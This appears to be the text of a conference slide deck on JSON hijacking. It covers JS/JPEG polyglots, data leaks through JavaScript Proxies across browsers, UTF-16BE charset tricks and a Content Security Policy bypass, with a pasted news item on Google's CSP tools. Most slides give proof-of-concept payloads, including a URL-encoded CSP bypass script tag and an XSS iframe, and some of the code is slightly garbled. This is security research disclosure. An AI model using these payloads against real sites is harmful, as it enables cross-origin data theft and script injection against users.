JSON hijacking
For the modern web
About me

- I’m a researcher at PortSwigger

- I love hacking JavaScript
  
  ```javascript
  let: let { let: [x=1] } = [alert(1)]
  ```

- I love breaking browsers

- @garethheyes
History of JSON hijacking

- Array constructor attack

```javascript
function Array(){
    for(var i=0;i<this.length;i++){
        alert(this[i]);
    }
}

[1,2,3]
```

- Found by Joe Walker in 2007
- Worked against Gmail in 2007 by Jeremiah Grossman
- Fixed in every browser
History of JSON hijacking

- Object.prototype setter attack

```javascript
Object.prototype._defineSetter_('user', function(obj){
  for(var i in obj) {
    alert(i + '=' + obj[i]);
  }
});
[[user:{name:"test"}]]
```

- Worked against Twitter

- Fixed in every browser
Journey of bug discovery

James: Can you create a polyglot js/jpeg?

Me: Yeah, that sounds like fun.

“Polyglot is something that executes in more than one language or format”
Anatomy of a jpeg

FF D8 FF E0

JPEG IS THE ENCODING STANDARD, JPEG IS THE FILE FORMAT
Anatomy of a jpeg

- Start of image marker:
  FF D8

- Application header:
  FF E0 00 00 Two bytes we control
Anatomy of a jpeg

- Guess which two bytes I chose? Rest of app header
- 2F 2A
- /*
- Padding of nulls for 0x2f2a

Valid JS variable
Rest of app header
JS comment
Padding of nulls for 0x2f2a
Anatomy of a jpeg

- Inject our payload inside a jpeg comment
- FF FE 00 1C
- */=alert("Burp rocks.")/*/
Anatomy of a jpeg

• At the end of the image we need to modify the image data
• Close our comment
• Inject a single line comment after
  *///
• 2A 2F 2F 2F FF D9
Anatomy of a jpeg

- That should work right?

```html
<script src="polyglot/uploads/xss.jpg"></script>
```
Anatomy of a jpeg

- We need a charset!

```html
<script charset="ISO-8859-1"
src="polyglot/uploads/xss.jpg"></script>
```

- and we get our alert
JS Proxies

- What is a js proxy?

```javascript
new Proxy(obj, handler);
```

- What is a handler?

- What is a trap?

```javascript
new Proxy(obj,{has:function(target,name){}});
```
Hacking with JS Proxies

• Benjamin Dumke-von der Ehe found an interesting issue

• Overwriting __proto__ property with a js proxy can leak undefined undefined_variable

```html
<script>__proto__ = new Proxy(__proto__, {
    has: function (target, name) {
        alert(name);
    }
}); </script><script>undefined_variable</script>
```
Hacking with JS Proxies

- Vulnerability was fixed years ago in Firefox
- Every major browser supports Proxies. Edge, Chrome, Safari and Firefox
- Can we break the other browsers?
Hacking with JS Proxies

• Hacking Edge was pretty easy

```javascript
__proto__.__proto__ = new Proxy(__proto__, {
  has: function(target, name) {
    alert(name);
  }
});

• __proto__.__proto__ === [object EventTargetPrototype]
```
Hacking with JS Proxies

Object.setPrototypeOf(__proto__, new Proxy(__proto__, {
  has: function(target, name) {
    alert(name);
  }
}))
Hacking with JS Proxies

- Chrome was more difficult

```javascript
__proto__.
__proto__.
__proto__.
__proto__.
__proto__.
__proto__.
__proto__

=new Proxy(__proto__,{
  has:function f(target,name){
    var str = f.caller.toString();
    alert(str);
  }
});
```
Hacking with JS Proxies

• Safari was easy once I hacked chrome

```javascript
__proto__.__proto__.__proto__.__proto__.proto__ = new Proxy(__proto__, {
    has: function f(target, name) {
        alert(name);
    }
});
```

• Same as edge __proto__.proto__ = new Proxy
Fun with charsets

- Stealing undefined variables is great but I wanted more

- Maybe using a charset I could convert the entire response to an undefined variable!

- Combining charsets and proxies
Fun with charsets

• Fuzzed charsets

• <!doctype HTML>

• {

• <root>test</root>

<?php
foreach($charsets as $charset) {
    echo '<script src="doctype.php?charset=' . $charset . '"></script>';
    echo '<script src="json.php?charset=' . $charset . '"></script>';
    echo '<script src="xml.php?charset=' . $charset . '"></script>';
}
?>
Fun with charsets

- Interesting charsets Chrome:

- Interesting charsets IE:
Fun with charsets

- UTF-16BE big endian
- 0x41 === A
- UTF-16BE A === 0x00 0x41
- UTF-16LE A === 0x41 0x00
Fun with charsets

- Two bytes form a character
- When the bytes are combined they can produce a valid JavaScript variable
- `{“ === 0x7b 0x22
- 0x7b22 === 箕
- eval(String.fromCharCode(0x7b22));
Output: 笢 is not defined
Fun with charsets

```javascript
__proto__.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__._ = new Proxy(__proto__, {
    has: function f(target, name) {
        var str = f.caller.toString();
        alert(str.replace(/./g, function(c) {
            c = c.charCodeAt(0);
            return String.fromCharCode(c >> 8, c & 0xff);
        }));
    }
});
```
Demo
Where’s the Firefox bug?

- I tried and tried to exploit Firefox
- Unfortunately Jesse Ruderman seems to have eliminated the proxy bugs
Hacking without Proxies

- Google patched proxy bug
- Can you steal data without proxies?
- If you control some of the JSON data then you can
Hacking without Proxies

- Injected UTF-16BE encoded script
- `=1337;for(i in window)if(window[i]==1337)alert(i)`
- Steals the data before
Hacking without Proxies

- Stealing the data after

```javascript
setTimeout(function(){
  for (i in window){
    try{
      if (isNaN(window[i]) && typeof window[i] === '/number/ .source ')
        alert(i);
    }
  }
}
);
++window.a
```
Hacking without Proxies

{"abc":"abcdsssdssdfsdfs","a":{"php": "<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff;}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]==\"number\"\).source)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff;}));}}catch(e){}}));++window.", "UTF-16BE")?>a":"dasfdasdfsdf"}}
CSS

- Apply the same techniques to CSS?
- Browsers stop parsing when encountering the doctype
- Most browsers check the mime type
- Chrome says stylesheet was interpreted but didn’t seem that way
Other charsets

- iso-10646-ucs-2
- More brittle than UTF-16BE
- Possible to import XML data as a js variable
Bypassing CSP

- UTF-16BE can be used to bypass CSP
- HTML structure before injection has to be a valid variable
- Anything after can be commented out
Bypassing CSP

```php
<?php
header("Content-Security-Policy: default-src 'self'");
header("X-XSS-Protection: 0");
?>
<!doctype HTML><html>
<head>
<title>Test</title>
<?php
echo $_GET['x'];
?>
</head>
<body>
</body>
</html>
```

HTML structure before forms a valid variable
Bypassing CSP

- `<script src="/csp/csp_bypass_script.php?x=%2509%2500%253D%2500a%2500l%2500r%2500t%2500(%25001%2500)%253B%2500%252F%252F" charset="UTF-16BE"></script>`

- UTF-16BE encoded payload = `alert(1);`
Demo
Google Releases Tools to Improve CSP Protection for Web Apps

Written by Dennis Fisher on September 27, 2016 in Hacking

Google is releasing a pair of new tools to help developers create and implement safer content security policies to protect against cross-site scripting vulnerabilities in their web applications. And the company also is adding CSP adoption efforts to its bug bounty program.

Content security policy is a method that enables developers to specify which scripts can run on a page, which can defeat XSS attacks. Attackers use XSS in inject malicious scripts into web apps and target users with exploits. CSP is meant to help prevent these attacks by restricting some scripts from running, but it can be circumvented in a number of ways and also can be implemented poorly, allowing attacks to succeed. Google performed a large study of CSP implementations and found that 95 percent of the policies were not effective at preventing XSS attacks.

So the company has developed a tool called CSP Evaluator that can help developers see how a given policy would affect a web application. Google also has been working on ways to protect apps when normal CSP policies are bypassed and has implemented a system known as nonce-based CSP in some of its larger apps.
Bypassing CSP

 Evaluated CSP as seen by a browser supporting CSP Version 2

- script-src
- object-src
- frame-src
Bypassing CSP

<iframe src="data:text/html,<iframe src=javascript:alert(document.domain)>>"/></iframe>
Further research

• Attacking dev tools on Safari
  `__proto__.__proto__=new Proxy({}, {get: function f(){ caller=f.caller; while(caller=caller.caller)alert(caller); } });`

• Calling setter on Object literal?

• Safari lets you overwrite Object.prototype
  `Object.prototype.__proto__=new Proxy({}, {});`
Mitigations

- Declare charset when outputting the content type for JSON responses
- Newer versions of PHP automatically add the charset
Summary

- Proxies can leak data
- UTF-16BE can steal data
- CSP can be bypassed
The End

Questions?